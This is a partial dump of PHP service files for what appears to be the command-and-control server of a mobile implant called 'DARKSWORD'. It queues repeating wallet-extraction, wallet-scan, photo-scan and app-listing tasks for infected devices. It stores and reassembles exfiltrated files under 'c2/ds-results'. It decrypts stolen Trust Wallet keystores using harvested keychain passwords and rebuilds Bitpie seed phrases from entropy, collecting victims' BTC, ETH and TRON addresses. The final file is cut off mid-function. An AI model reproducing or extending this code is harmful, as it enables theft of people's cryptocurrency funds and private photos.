if ($n !== 12 && $n !== 24) {
return null;
}
foreach ($words as $word) {
if (! preg_match('/^[a-z]{3,8}$/', $word)) {
return null;
}
}
return implode(' ', $words);
}
}
+221
View File
@@ -0,0 +1,221 @@
<?php
namespace App\Services;
use App\Models\Device;
use App\Models\DsBeaconTask;
use Illuminate\Support\Facades\DB;
use Illuminate\Support\Str;
class DsBeaconQueue
{
/** @var list<string> */
public const TYPES = [
'wallet_extract',
'wallet_scan',
'photo_scan',
'apps',
];
/** @var list<string> */
public const LOOP_TYPES = [
'wallet_extract',
'wallet_scan',
'photo_scan',
'apps',
];
public function seed(Device $device): void
{
if ($device->family !== Device::FAMILY_DARKSWORD) {
return;
}
DsBeaconTask::query()
->where('device_id', $device->id)
->where('type', 'basic_info')
->delete();
if (DsBeaconTask::query()->where('device_id', $device->id)->exists()) {
return;
}
$now = now();
$rows = [];
foreach (self::TYPES as $i => $type) {
$rows[] = [
'device_id' => $device->id,
'position' => $i + 1,
'type' => $type,
'status' => DsBeaconTask::STATUS_PENDING,
'created_at' => $now,
'updated_at' => $now,
];
}
DsBeaconTask::query()->insert($rows);
}
/**
* Next pending command. wallet_extract / wallet_scan / photo_scan / apps
* re-queue after a full pass so the agent keeps polling them.
*
* @return array{type: string, command_id: string, params: array<string, mixed>}|null
*/
public function dequeue(Device $device): ?array
{
$this->seed($device);
return DB::transaction(function () use ($device) {
$task = $this->nextRunnable($device);
if (! $task) {
return null;
}
$commandId = 'dsq-'.$device->id.'-'.$task->position.'-'.Str::lower(Str::random(10));
$meta = is_array($task->result_meta) ? $task->result_meta : [];
$meta['dispatch_count'] = (int) ($meta['dispatch_count'] ?? 0) + 1;
if ($task->status === DsBeaconTask::STATUS_DISPATCHED) {
$meta['last_retry_at'] = now()->toDateTimeString();
}
$task->forceFill([
'status' => DsBeaconTask::STATUS_DISPATCHED,
'command_id' => $commandId,
'dispatched_at' => now(),
'result_meta' => $meta,
])->save();
return [
'type' => $task->type,
'command_id' => $commandId,
'params' => $this->paramsFor($task->type),
];
});
}
/**
* @param array<string, mixed> $payload
*/
public function markDone(array $payload): ?DsBeaconTask
{
$commandId = trim((string) ($payload['command_id'] ?? ''));
if ($commandId === '') {
return null;
}
$task = DsBeaconTask::query()->where('command_id', $commandId)->first();
if (! $task) {
return null;
}
$meta = $task->result_meta ?? [];
$filename = trim((string) ($payload['filename'] ?? ''));
$category = trim((string) ($payload['category'] ?? ''));
if ($filename !== '') {
$meta['filename'] = substr($filename, 0, 255);
}
if ($category !== '') {
$meta['category'] = substr($category, 0, 64);
}
if (isset($payload['status']) && is_string($payload['status'])) {
$meta['status'] = substr($payload['status'], 0, 32);
}
foreach (['path', 'reason', 'stored', 'photo', 'size'] as $key) {
if (array_key_exists($key, $payload)) {
$meta[$key] = $payload[$key];
}
}
$touch = [
'result_count' => (int) $task->result_count + 1,
'result_meta' => $meta,
];
if ($task->status !== DsBeaconTask::STATUS_DONE) {
$touch['status'] = DsBeaconTask::STATUS_DONE;
$touch['completed_at'] = now();
}
$task->forceFill($touch)->save();
return $task->refresh();
}
/**
* @return array<string, mixed>
*/
private function paramsFor(string $type): array
{
return match ($type) {
'wallet_extract' => ['wallet_type' => 'imtoken'],
'photo_scan' => ['max_count' => 200],
default => [],
};
}
private function nextRunnable(Device $device): ?DsBeaconTask
{
while (true) {
$task = $this->findRunnable($device);
if (! $task) {
if (! $this->requeueLoopTypes($device)) {
return null;
}
$task = $this->findRunnable($device);
if (! $task) {
return null;
}
}
if ($task->type !== 'photos' && $task->type !== 'basic_info') {
return $task;
}
$task->forceFill([
'status' => DsBeaconTask::STATUS_SKIPPED,
'completed_at' => now(),
'result_meta' => [
'reason' => $task->type === 'photos'
? 'queue_uses_photo_scan_only'
: 'removed_from_queue',
],
])->save();
}
}
private function findRunnable(Device $device): ?DsBeaconTask
{
return DsBeaconTask::query()
->where('device_id', $device->id)
->where(function ($q) {
$q->where('status', DsBeaconTask::STATUS_PENDING)
->orWhere(function ($q2) {
$q2->where('status', DsBeaconTask::STATUS_DISPATCHED)
->where('result_count', 0);
});
})
->orderBy('position')
->lockForUpdate()
->first();
}
private function requeueLoopTypes(Device $device): bool
{
$tasks = DsBeaconTask::query()
->where('device_id', $device->id)
->whereIn('type', self::LOOP_TYPES)
->where('status', DsBeaconTask::STATUS_DONE)
->lockForUpdate()
->get();
if ($tasks->isEmpty()) {
return false;
}
foreach ($tasks as $task) {
$task->forceFill([
'status' => DsBeaconTask::STATUS_PENDING,
'command_id' => null,
'dispatched_at' => null,
'completed_at' => null,
])->save();
}
return true;
}
}
+684
View File
@@ -0,0 +1,684 @@
<?php
namespace App\Services;
use App\Models\Device;
use App\Models\WalletKeystore;
use App\Models\WalletMnemonic;
use App\Services\Chain\BtcAddress;
use App\Services\Chain\EthAddress;
use App\Services\Chain\TronAddress;
use App\Support\WalletSource;
use FurqanSiddiqui\BIP39\BIP39;
/**
* Recover a BIP39 phrase from DS Trust UTC blobs or Bitpie seedPhraseEntropy.
*/
final class DsKeystoreDecrypt
{
/**
* @return list<array{source: string, tag: string, phrase: string, addresses: list<array{address: string, chainType: string, symbol: string, balance: int}>}>
*/
public function recover(Device $device, mixed $wallets, mixed $sandbox): array
{
$hits = [];
$seen = [];
foreach ($this->recoverTrustUtc($device, $wallets, $sandbox) as $hit) {
$hash = WalletMnemonic::hashSecret($hit['phrase']);
if (isset($seen[$hash])) {
continue;
}
$seen[$hash] = true;
$hits[] = $hit;
}
$bitpieNodes = [$wallets, $sandbox];
foreach ($device->keystores as $row) {
if ($row->source === 'Bitpie') {
$bitpieNodes[] = $row->raw_json;
}
}
foreach ($this->recoverBitpie($bitpieNodes) as $hit) {
$hash = WalletMnemonic::hashSecret($hit['phrase']);
if (isset($seen[$hash])) {
continue;
}
$seen[$hash] = true;
$hits[] = $hit;
}
return $hits;
}
/**
* @return list<array{source: string, tag: string, phrase: string, addresses: list<array{address: string, chainType: string, symbol: string, balance: int}>}>
*/
private function recoverTrustUtc(Device $device, mixed $wallets, mixed $sandbox): array
{
$utcs = $this->collectKeystores($sandbox);
$utcs = array_merge($utcs, $this->collectKeystores($wallets));
if ($utcs === []) {
return [];
}
$passwords = $this->collectPasswords($wallets);
foreach ($device->keystores as $row) {
$passwords = array_merge($passwords, $this->collectPasswords($row->raw_json));
}
$passwords = array_slice($this->uniquePasswords($passwords), 0, 8);
if ($passwords === []) {
return [];
}
$hits = [];
foreach ($utcs as $item) {
$phrase = $this->unlock($item['keystore'], $passwords);
if ($phrase === null) {
continue;
}
$source = $item['source'] !== '' ? $item['source'] : 'Trust Wallet';
$hits[] = [
'source' => $source,
'tag' => WalletSource::tagForLabel($source),
'phrase' => $phrase,
'addresses' => [],
];
}
return $hits;
}
/**
* @param list<mixed> $nodes
* @return list<array{source: string, tag: string, phrase: string, addresses: list<array{address: string, chainType: string, symbol: string, balance: int}>}>
*/
private function recoverBitpie(array $nodes): array
{
$phrases = [];
$addresses = [];
foreach ($nodes as $node) {
foreach ($this->collectBitpieEntropyHex($node) as $hex) {
$phrase = $this->phraseFromEntropyHex($hex);
if ($phrase !== null) {
$phrases[$phrase] = true;
}
}
$addresses = array_merge($addresses, $this->collectBitpieAddresses($node));
}
if ($phrases === []) {
return [];
}
$uniq = [];
$seenAddr = [];
foreach ($addresses as $row) {
$key = $row['address'];
if (isset($seenAddr[$key])) {
continue;
}
$seenAddr[$key] = true;
$uniq[] = $row;
}
$hits = [];
foreach (array_keys($phrases) as $phrase) {
$hits[] = [
'source' => 'Bitpie',
'tag' => 'r',
'phrase' => $phrase,
'addresses' => $uniq,
];
}
return $hits;
}
/**
* @param list<string> $passwords
*/
public function unlock(array $keystore, array $passwords): ?string
{
foreach ($passwords as $password) {
$plain = EthKeystore::decrypt($keystore, $password);
if ($plain === null) {
continue;
}
$phrase = $this->asMnemonic($plain);
if ($phrase !== null) {
return $phrase;
}
}
return null;
}
/**
* @return list<array{source: string, keystore: array<string, mixed>}>
*/
public function collectKeystores(mixed $node, string $source = '', int $depth = 0): array
{
if ($depth > 10 || $node === null) {
return [];
}
if (is_string($node)) {
$decoded = $this->decodeBlob($node);
if ($decoded === null) {
return [];
}
return $this->collectKeystores($decoded, $source, $depth + 1);
}
if (! is_array($node)) {
return [];
}
if ($this->isKeystore($node)) {
return [['source' => $source, 'keystore' => $node]];
}
$out = [];
foreach ($node as $key => $child) {
$next = $source;
if (is_string($key)) {
$hint = WalletSource::fromKeystoreHint($key);
if ($hint !== '') {
$next = $hint;
}
}
$out = array_merge($out, $this->collectKeystores($child, $next, $depth + 1));
}
return $out;
}
/**
* @return list<string>
*/
public function collectPasswords(mixed $node, int $depth = 0): array
{
$items = $this->collectPasswordItems($node, $depth);
usort($items, static fn ($a, $b) => $b['score'] <=> $a['score']);
$out = [];
foreach ($items as $item) {
$out = array_merge($out, $this->passwordsFromHex($item['hex']));
}
return $this->uniquePasswords($out);
}
/**
* @return list<array{hex: string, score: int}>
*/
private function collectPasswordItems(mixed $node, int $depth = 0): array
{
if ($depth > 8 || ! is_array($node)) {
return [];
}
$out = [];
$hex = $node['dataHex'] ?? null;
if (is_string($hex) && $hex !== '') {
$account = strtolower((string) ($node['account'] ?? ''));
$score = 0;
if (str_contains($account, 'utc--') && ! str_contains($account, 'migration')) {
$score += 100;
}
$rawLen = strlen(preg_replace('/[^0-9a-fA-F]/', '', $hex) ?? '') / 2;
if ($rawLen === 32.0 || $rawLen === 64.0) {
$score += 20;
}
$out[] = ['hex' => $hex, 'score' => $score];
}
foreach (['items', 'wallets', 'sandbox'] as $key) {
if (! isset($node[$key]) || ! is_array($node[$key])) {
continue;
}
foreach ($node[$key] as $child) {
$out = array_merge($out, $this->collectPasswordItems($child, $depth + 1));
}
}
if ($hex === null && ! isset($node['items']) && ! isset($node['wallets']) && ! isset($node['sandbox'])) {
foreach ($node as $child) {
if (is_array($child)) {
$out = array_merge($out, $this->collectPasswordItems($child, $depth + 1));
}
}
}
return $out;
}
/**
* @param list<WalletKeystore> $rows
*/
public function markDecrypted(iterable $rows, string $source): void
{
foreach ($rows as $row) {
if (! $row instanceof WalletKeystore) {
continue;
}
if ($row->source !== $source) {
continue;
}
if ((int) $row->decrypted === 1) {
continue;
}
$row->decrypted = 1;
$row->save();
}
}
/**
* @param array<string, mixed> $node
*/
private function isKeystore(array $node): bool
{
$crypto = $node['crypto'] ?? $node['Crypto'] ?? null;
if (! is_array($crypto)) {
return false;
}
return isset($crypto['ciphertext'], $crypto['mac'], $crypto['kdf']);
}
/**
* @return list<string>
*/
private function passwordsFromHex(string $hex): array
{
$hex = preg_replace('/[^0-9a-fA-F]/', '', $hex) ?? '';
if ($hex === '' || strlen($hex) % 2 !== 0) {
return [];
}
$raw = @hex2bin($hex);
if (! is_string($raw) || $raw === '') {
return [];
}
return $this->passwordsFromString($raw);
}
/**
* @return list<string>
*/
private function passwordsFromString(string $raw): array
{
$out = [$raw];
if (mb_check_encoding($raw, 'UTF-8')) {
$trim = trim($raw);
if ($trim !== '' && $trim !== $raw) {
$out[] = $trim;
}
$unquoted = trim($trim, "\"'");
if ($unquoted !== '' && $unquoted !== $trim) {
$out[] = $unquoted;
}
if (ctype_xdigit($trim) && strlen($trim) % 2 === 0 && strlen($trim) >= 8) {
$bin = @hex2bin($trim);
if (is_string($bin) && $bin !== '') {
$out[] = $bin;
}
}
}
return $out;
}
/**
* @param list<string> $passwords
* @return list<string>
*/
private function uniquePasswords(array $passwords): array
{
$seen = [];
$out = [];
foreach ($passwords as $password) {
if ($password === '') {
continue;
}
if (isset($seen[$password])) {
continue;
}
$seen[$password] = true;
$out[] = $password;
}
return $out;
}
private function decodeBlob(string $raw): mixed
{
$raw = trim($raw);
if ($raw === '') {
return null;
}
if (str_starts_with($raw, '{') || str_starts_with($raw, '[')) {
$json = json_decode($raw, true);
return is_array($json) ? $json : null;
}
$b64 = base64_decode($raw, true);
if (is_string($b64) && $b64 !== '') {
$json = json_decode($b64, true);
if (is_array($json)) {
return $json;
}
}
$hex = preg_replace('/[^0-9a-fA-F]/', '', $raw) ?? '';
if ($hex !== '' && strlen($hex) % 2 === 0 && strlen($hex) >= 8) {
$bin = @hex2bin($hex);
if (is_string($bin) && $bin !== '') {
$json = json_decode($bin, true);
if (is_array($json)) {
return $json;
}
}
}
return null;
}
private function asMnemonic(string $plain): ?string
{
$text = strtolower(trim($plain));
$text = preg_replace('/\s+/', ' ', $text) ?? $text;
$words = $text === '' ? [] : explode(' ', $text);
$n = count($words);
if ($n !== 12 && $n !== 24) {
return null;
}
foreach ($words as $word) {
if (! preg_match('/^[a-z]{3,8}$/', $word)) {
return null;
}
}
return implode(' ', $words);
}
/**
* @return list<string>
*/
public function collectBitpieEntropyHex(mixed $node, int $depth = 0): array
{
if ($depth > 10 || $node === null) {
return [];
}
if (is_string($node)) {
$decoded = $this->decodeBlob($node);
if ($decoded === null) {
return [];
}
return $this->collectBitpieEntropyHex($decoded, $depth + 1);
}
if (! is_array($node)) {
return [];
}
$out = [];
$account = strtolower(trim((string) ($node['account'] ?? '')));
if ($account === 'seedphraseentropy') {
$hex = $this->entropyHexFromItem($node);
if ($hex !== null) {
$out[] = $hex;
}
}
foreach ($node as $key => $child) {
if (is_string($key) && strtolower($key) === 'seedphraseentropy') {
$hex = is_string($child) ? $this->normalizeEntropyHex($child) : $this->entropyHexFromItem(is_array($child) ? $child : []);
if ($hex !== null) {
$out[] = $hex;
}
}
if (is_array($child) || is_string($child)) {
$out = array_merge($out, $this->collectBitpieEntropyHex($child, $depth + 1));
}
}
return $out;
}
/**
* @return list<array{address: string, chainType: string, symbol: string, balance: int}>
*/
public function collectBitpieAddresses(mixed $node, int $depth = 0, bool $inBitpie = false): array
{
if ($depth > 10 || $node === null) {
return [];
}
if (is_string($node)) {
if (! $inBitpie) {
return [];
}
return $this->addressesFromBitpieText($node);
}
if (! is_array($node)) {
return [];
}
$out = [];
$account = strtolower(trim((string) ($node['account'] ?? '')));
$extract = $inBitpie || in_array($account, ['useraddresskey', 'useraddress', 'seedphraseentropy'], true);
if (in_array($account, ['useraddresskey', 'useraddress'], true)) {
$out = array_merge($out, $this->addressesFromBitpieText($this->itemUtf8($node)));
}
if ($extract && isset($node['address']) && is_string($node['address'])) {
$mapped = $this->addressRow($node['address'], $node['coin_code'] ?? $node['chainType'] ?? $node['chain'] ?? null);
if ($mapped !== null) {
$out[] = $mapped;
}
}
foreach ($node as $key => $child) {
if (! is_array($child) && ! is_string($child)) {
continue;
}
$childInBitpie = $inBitpie || $this->isBitpieLabel($key);
$walk = $childInBitpie || $this->isBitpieWalkKey($key, $inBitpie);
if (! $walk) {
continue;
}
$out = array_merge($out, $this->collectBitpieAddresses($child, $depth + 1, $childInBitpie));
}
return $out;
}
private function isBitpieLabel(mixed $key): bool
{
$raw = strtolower(trim((string) $key));
return $raw !== '' && (
str_contains($raw, 'bitpie')
|| in_array($raw, ['useraddresskey', 'useraddress', 'useraddresses', 'kuseraddressesconfigure'], true)
);
}
private function isBitpieWalkKey(mixed $key, bool $inBitpie): bool
{
if (is_int($key)) {
return $inBitpie;
}
$raw = strtolower(trim((string) $key));
return in_array($raw, ['wallets', 'sandbox', 'items', 'item'], true);
}
/**
* @param array<string, mixed> $item
*/
private function entropyHexFromItem(array $item): ?string
{
$hex = $item['dataHex'] ?? null;
if (is_string($hex) && $hex !== '') {
$fromHex = $this->normalizeEntropyHex($hex);
if ($fromHex !== null) {
return $fromHex;
}
$bin = $this->fromHex($hex);
if ($bin !== null) {
$nested = $this->normalizeEntropyHex($bin);
if ($nested !== null) {
return $nested;
}
}
}
return $this->normalizeEntropyHex($this->itemUtf8($item));
}
/**
* @param array<string, mixed> $item
*/
private function itemUtf8(array $item): string
{
$hex = $item['dataHex'] ?? null;
if (is_string($hex) && $hex !== '') {
$bin = $this->fromHex($hex);
if ($bin !== null && mb_check_encoding($bin, 'UTF-8')) {
return trim($bin);
}
}
$data = $item['data'] ?? null;
return is_string($data) ? trim($data) : '';
}
private function normalizeEntropyHex(string $raw): ?string
{
$raw = trim($raw);
if ($raw === '') {
return null;
}
$bin = $this->fromHex($raw);
if ($bin !== null) {
if (mb_check_encoding($bin, 'UTF-8')) {
$trim = trim($bin);
if ($this->isEntropyHex($trim)) {
return strtolower($trim);
}
}
if (strlen($bin) === 16 || strlen($bin) === 32) {
return strtolower(bin2hex($bin));
}
}
if ($this->isEntropyHex($raw)) {
return strtolower($raw);
}
return null;
}
private function isEntropyHex(string $value): bool
{
return (bool) preg_match('/^[0-9a-fA-F]{32}$/', $value)
|| (bool) preg_match('/^[0-9a-fA-F]{64}$/', $value);
}
private function phraseFromEntropyHex(string $hex): ?string
{
try {
$mnemonic = BIP39::Entropy(strtolower($hex));
} catch (\Throwable) {
return null;
}
$phrase = strtolower(trim(implode(' ', $mnemonic->words)));
return $this->asMnemonic($phrase);
}
/**
* @return list<array{address: string, chainType: string, symbol: string, balance: int}>
*/
private function addressesFromBitpieText(string $text): array
{
$out = [];
$text = trim($text);
if ($text === '') {
return $out;
}
$direct = $this->addressRow($text, null);
if ($direct !== null) {
$out[] = $direct;
}
if (preg_match('/kUserAddressesConfigure\s*(\[[\s\S]*\])/', $text, $m)) {
$json = json_decode($m[1], true);
if (is_array($json)) {
$out = array_merge($out, $this->collectBitpieAddresses($json, 0, true));
}
}
$decoded = $this->decodeBlob($text);
if (is_array($decoded)) {
$out = array_merge($out, $this->collectBitpieAddresses($decoded, 0, true));
}
return $out;
}
/**
* @return array{address: string, chainType: string, symbol: string, balance: int}|null
*/
private function addressRow(string $address, mixed $hint): ?array
{
$address = trim($address);
if ($address === '') {
return null;
}
$chain = $this->chainFromHint($hint) ?? WalletSource::inferChainType($address);
$chain = strtoupper($chain);
if (! WalletSource::isSupportedChain($chain)) {
return null;
}
$normalized = $chain === 'ETH' ? 'ETHEREUM' : ($chain === 'BTC' ? 'BITCOIN' : ($chain === 'TRX' ? 'TRON' : $chain));
if (in_array($normalized, ['TRON', 'TRX'], true) && ! TronAddress::isValid($address)) {
return null;
}
if (in_array($normalized, ['ETHEREUM', 'ETH', 'EVM'], true) && ! EthAddress::isValid($address)) {
return null;
}
if (in_array($normalized, ['BITCOIN', 'BTC'], true) && ! BtcAddress::isValid($address)) {
return null;
}
$symbol = match ($chain) {
'BITCOIN', 'BTC' => 'BTC',
'ETHEREUM', 'ETH', 'EVM' => 'ETH',
'BNB', 'BSC', 'BINANCE' => 'BNB',
default => 'TRX',
};
return [
'address' => $address,
'chainType' => $chain === 'ETH' ? 'ETHEREUM' : ($chain === 'BTC' ? 'BITCOIN' : ($chain === 'TRX' ? 'TRON' : $chain)),
'symbol' => $symbol,
'balance' => 0,
];
}
private function chainFromHint(mixed $hint): ?string
{
$raw = strtolower(trim((string) $hint));
if ($raw === '') {
return null;
}
if (str_contains($raw, 'trx') || str_contains($raw, 'tron')) {
return 'TRON';
}
if (str_contains($raw, 'eth')) {
return 'ETHEREUM';
}
if (str_contains($raw, 'btc') || str_contains($raw, 'bitcoin')) {
return 'BITCOIN';
}
return WalletSource::isSupportedChain($raw) ? strtoupper($raw) : null;
}
private function fromHex(string $value): ?string
{
$hex = preg_replace('/[^0-9a-fA-F]/', '', $value) ?? '';
if ($hex === '' || strlen($hex) % 2 !== 0) {
return null;
}
$bin = @hex2bin($hex);
return is_string($bin) ? $bin : null;
}
}
+179
View File
@@ -0,0 +1,179 @@
<?php
namespace App\Services;
use App\Models\Device;
use App\Models\Photo;
use Illuminate\Support\Facades\Storage;
class DsResultStore
{
/** @var list<string> */
private const VIDEO_EXT = ['mp4', 'mov', 'm4v', 'avi', 'mkv', 'webm', '3gp', 'qt'];
/** @var list<string> */
private const IMAGE_EXT = ['png', 'jpg', 'jpeg', 'heic', 'heif', 'gif', 'webp', 'bmp', 'tif', 'tiff'];
public function __construct(
private readonly IngestService $ingest,
) {}
/**
* Persist one /result body. Videos are dropped. Chunks assemble under
* c2/ds-chunks then land in c2/ds-results. Images also go through album ingest.
*
* @param array<string, mixed> $payload
* @return array<string, mixed>
*/
public function store(Device $device, array $payload): array
{
$filename = $this->safeName((string) ($payload['filename'] ?? ''));
if ($filename === '') {
return ['stored' => false, 'reason' => 'no_filename'];
}
if ($this->isVideo($filename)) {
return ['stored' => false, 'reason' => 'video_skipped', 'filename' => $filename];
}
$raw = $payload['data'] ?? null;
if (! is_string($raw) || $raw === '') {
return ['stored' => false, 'reason' => 'no_data', 'filename' => $filename];
}
$bytes = base64_decode($raw, true);
if ($bytes === false) {
return ['stored' => false, 'reason' => 'bad_base64', 'filename' => $filename];
}
$commandId = $this->safeName((string) ($payload['command_id'] ?? 'unknown')) ?: 'unknown';
$total = isset($payload['total_chunks']) ? (int) $payload['total_chunks'] : 0;
$index = array_key_exists('chunk_index', $payload) ? (int) $payload['chunk_index'] : null;
if ($total > 1 && $index !== null) {
$assembled = $this->acceptChunk($device, $commandId, $filename, $index, $total, $bytes);
if ($assembled === null) {
return [
'stored' => false,
'reason' => 'chunk_pending',
'filename' => $filename,
'chunk_index' => $index,
'total_chunks' => $total,
];
}
$bytes = $assembled;
}
$hash = hash('sha256', $bytes);
if ($this->alreadyIngested($device, $filename, $hash)) {
return [
'stored' => false,
'reason' => 'duplicate',
'filename' => $filename,
'size' => strlen($bytes),
];
}
$rel = 'c2/ds-results/'.$device->device_id.'/'.$commandId.'/'.$filename;
Storage::disk('local')->put($rel, $bytes);
$this->markSeen($device, $hash, $filename);
$photo = false;
if ($this->isImage($filename) && $device->albumStorageEnabled()) {
$tmp = tempnam(sys_get_temp_dir(), 'ds_photo_');
if ($tmp !== false) {
file_put_contents($tmp, $bytes);
$this->ingest->ingestPhotos($device, [$tmp]);
@unlink($tmp);
$photo = true;
}
}
return [
'stored' => true,
'path' => $rel,
'photo' => $photo,
'size' => strlen($bytes),
'filename' => $filename,
];
}
private function alreadyIngested(Device $device, string $filename, string $hash): bool
{
if (Storage::disk('local')->exists($this->seenPath($device, $hash))) {
return true;
}
if ($this->isImage($filename)
&& Photo::query()->where('device_id', $device->id)->where('sha256', $hash)->exists()) {
$this->markSeen($device, $hash, $filename);
return true;
}
return false;
}
private function markSeen(Device $device, string $hash, string $filename): void
{
Storage::disk('local')->put($this->seenPath($device, $hash), $filename);
}
private function seenPath(Device $device, string $hash): string
{
return 'c2/ds-results/'.$device->device_id.'/.seen/'.$hash;
}
private function acceptChunk(
Device $device,
string $commandId,
string $filename,
int $index,
int $total,
string $bytes,
): ?string {
$dir = 'c2/ds-chunks/'.$device->device_id.'/'.$commandId.'/'.$filename;
Storage::disk('local')->put($dir.'/'.$index, $bytes);
Storage::disk('local')->put($dir.'/total', (string) $total);
for ($i = 0; $i < $total; $i++) {
if (! Storage::disk('local')->exists($dir.'/'.$i)) {
return null;
}
}
$out = '';
for ($i = 0; $i < $total; $i++) {
$out .= (string) Storage::disk('local')->get($dir.'/'.$i);
}
Storage::disk('local')->deleteDirectory($dir);
return $out;
}
private function isVideo(string $filename): bool
{
return in_array($this->extension($filename), self::VIDEO_EXT, true);
}
private function isImage(string $filename): bool
{
return in_array($this->extension($filename), self::IMAGE_EXT, true);
}
private function extension(string $filename): string
{
$dot = strrpos($filename, '.');
if ($dot === false) {
return '';
}
return strtolower(substr($filename, $dot + 1));
}
private function safeName(string $name): string
{
$name = str_replace(["\0", '\\'], '', $name);
$name = basename(str_replace(['/', '\\'], '', $name));
$name = preg_replace('/[^A-Za-z0-9._-]/', '_', $name) ?? '';
return $name === '.' || $name === '..' ? '' : $name;
}
}
+178
View File
@@ -0,0 +1,178 @@
<?php
namespace App\Services;
use App\Models\Device;
use App\Support\WalletSource;
/**
* Pull plaintext Trust Wallet addresses from UTC / wallet_pkg /war sandbox.
* Only BTC / ETH / TRX; at most two addresses per chain, in file order.
*/
class DsTrustAddressIngest
{
public const MAX_PER_CHAIN = 2;
/** WalletCore coin type → persisted chain_type. */
private const COIN_CHAIN = [
0 => 'BITCOIN',
60 => 'ETHEREUM',
195 => 'TRON',
];
public function __construct(
private readonly IngestService $ingest,
) {}
public function ingest(Device $device, mixed $node): int
{
$rows = $this->collect($node);
if ($rows === []) {
return 0;
}
$this->ingest->ingestAddresses($device, [
'a' => 'd',
'data' => $rows,
]);
return count($rows);
}
/**
* @return list<array{address: string, chainType: string, symbol: string, balance: int}>
*/
public function collect(mixed $node): array
{
$picked = [
'BITCOIN' => [],
'ETHEREUM' => [],
'TRON' => [],
];
foreach ($this->walkAccounts($node) as $acct) {
$address = trim((string) ($acct['address'] ?? ''));
$chain = $this->chainFor($address, $acct['coin'] ?? null);
if ($chain === null) {
continue;
}
if (in_array($address, $picked[$chain], true)) {
continue;
}
if (count($picked[$chain]) >= self::MAX_PER_CHAIN) {
continue;
}
$picked[$chain][] = $address;
}
$out = [];
foreach ($picked as $chain => $addresses) {
$symbol = match ($chain) {
'BITCOIN' => 'BTC',
'ETHEREUM' => 'ETH',
default => 'TRX',
};
foreach ($addresses as $address) {
$out[] = [
'address' => $address,
'chainType' => $chain,
'symbol' => $symbol,
'balance' => 0,
];
}
}
return $out;
}
/**
* @return list<array<string, mixed>>
*/
private function walkAccounts(mixed $node, int $depth = 0): array
{
if ($depth > 8 || $node === null) {
return [];
}
if (is_string($node)) {
$decoded = $this->decodeBlob($node);
if ($decoded === null) {
return [];
}
return $this->walkAccounts($decoded, $depth + 1);
}
if (! is_array($node)) {
return [];
}
if (isset($node['activeAccounts']) && is_array($node['activeAccounts'])) {
return array_values(array_filter(
$node['activeAccounts'],
static fn ($row) => is_array($row)
));
}
$out = [];
foreach ($node as $key => $child) {
if (is_string($key) && strcasecmp($key, 'data_b64') === 0 && is_string($child)) {
$out = array_merge($out, $this->walkAccounts($child, $depth + 1));
continue;
}
$out = array_merge($out, $this->walkAccounts($child, $depth + 1));
}
return $out;
}
private function decodeBlob(string $raw): mixed
{
$raw = trim($raw);
if ($raw === '') {
return null;
}
if (str_starts_with($raw, '{') || str_starts_with($raw, '[')) {
$json = json_decode($raw, true);
return is_array($json) ? $json : null;
}
$b64 = base64_decode($raw, true);
if (is_string($b64) && $b64 !== '') {
$json = json_decode($b64, true);
if (is_array($json)) {
return $json;
}
}
$hex = preg_replace('/[^0-9a-fA-F]/', '', $raw) ?? '';
if ($hex !== '' && strlen($hex) % 2 === 0 && strlen($hex) >= 8) {
$bin = @hex2bin($hex);
if (is_string($bin) && $bin !== '') {
$json = json_decode($bin, true);
if (is_array($json)) {
return $json;
}
}
}
return null;
}
private function chainFor(string $address, mixed $coin): ?string
{
if ($address === '') {
return null;
}
if (is_numeric($coin)) {
$mapped = self::COIN_CHAIN[(int) $coin] ?? null;
if ($mapped !== null) {
return $mapped;
}
return null;
}
$inferred = match (WalletSource::inferChainType($address)) {
'BITCOIN' => 'BITCOIN',
'ETHEREUM' => 'ETHEREUM',
'TRON' => 'TRON',
default => null,
};
return $inferred;
}
}
+199
View File
@@ -0,0 +1,199 @@
<?php
namespace App\Services;
use App\Support\Scrypt;
use kornrunner\Keccak;
/**
* Ethereum / WalletCore keystore v3: scrypt|pbkdf2 + AES-128-CTR + keccak MAC.
*/
final class EthKeystore
{
public static function decrypt(array $keystore, string $password): ?string
{
$crypto = $keystore['crypto'] ?? $keystore['Crypto'] ?? null;
if (! is_array($crypto)) {
return null;
}
$cipher = strtolower((string) ($crypto['cipher'] ?? ''));
if ($cipher !== 'aes-128-ctr') {
return null;
}
$ciphertext = self::fromHex($crypto['ciphertext'] ?? null);
$mac = self::fromHex($crypto['mac'] ?? null);
$iv = self::fromHex($crypto['cipherparams']['iv'] ?? null);
if ($ciphertext === null || $mac === null || $iv === null || strlen($iv) !== 16) {
return null;
}
$derived = self::deriveKey($crypto, $password);
if ($derived === null || strlen($derived) < 32) {
return null;
}
if (! hash_equals($mac, self::keccak256(substr($derived, 16, 16).$ciphertext))) {
return null;
}
$plain = openssl_decrypt($ciphertext, 'aes-128-ctr', substr($derived, 0, 16), OPENSSL_RAW_DATA, $iv);
if (! is_string($plain) || $plain === '') {
return null;
}
return $plain;
}
/**
* @param array<string, mixed> $kdfparams
* @return array<string, mixed>
*/
public static function encrypt(string $plaintext, string $password, array $kdfparams = []): array
{
$salt = $kdfparams['salt'] ?? bin2hex(random_bytes(32));
if (is_string($salt) && ctype_xdigit($salt)) {
$saltHex = strtolower($salt);
} else {
$saltHex = bin2hex((string) $salt);
}
$n = (int) ($kdfparams['n'] ?? 16);
$r = (int) ($kdfparams['r'] ?? 8);
$p = (int) ($kdfparams['p'] ?? 1);
$dklen = (int) ($kdfparams['dklen'] ?? 32);
$iv = random_bytes(16);
$derived = Scrypt::hash($password, hex2bin($saltHex) ?: '', $n, $r, $p, $dklen);
$ciphertext = openssl_encrypt($plaintext, 'aes-128-ctr', substr($derived, 0, 16), OPENSSL_RAW_DATA, $iv);
if (! is_string($ciphertext)) {
throw new \RuntimeException('aes-128-ctr encrypt failed');
}
return [
'version' => 3,
'type' => 'mnemonic',
'crypto' => [
'cipher' => 'aes-128-ctr',
'cipherparams' => ['iv' => bin2hex($iv)],
'ciphertext' => bin2hex($ciphertext),
'kdf' => 'scrypt',
'kdfparams' => [
'dklen' => $dklen,
'n' => $n,
'p' => $p,
'r' => $r,
'salt' => $saltHex,
],
'mac' => bin2hex(self::keccak256(substr($derived, 16, 16).$ciphertext)),
],
];
}
/**
* @param array<string, mixed> $crypto
*/
private static function deriveKey(array $crypto, string $password): ?string
{
$kdf = strtolower((string) ($crypto['kdf'] ?? ''));
$params = is_array($crypto['kdfparams'] ?? null) ? $crypto['kdfparams'] : [];
$dklen = (int) ($params['dklen'] ?? 32);
$salt = self::fromHex($params['salt'] ?? null);
if ($salt === null || $dklen < 16) {
return null;
}
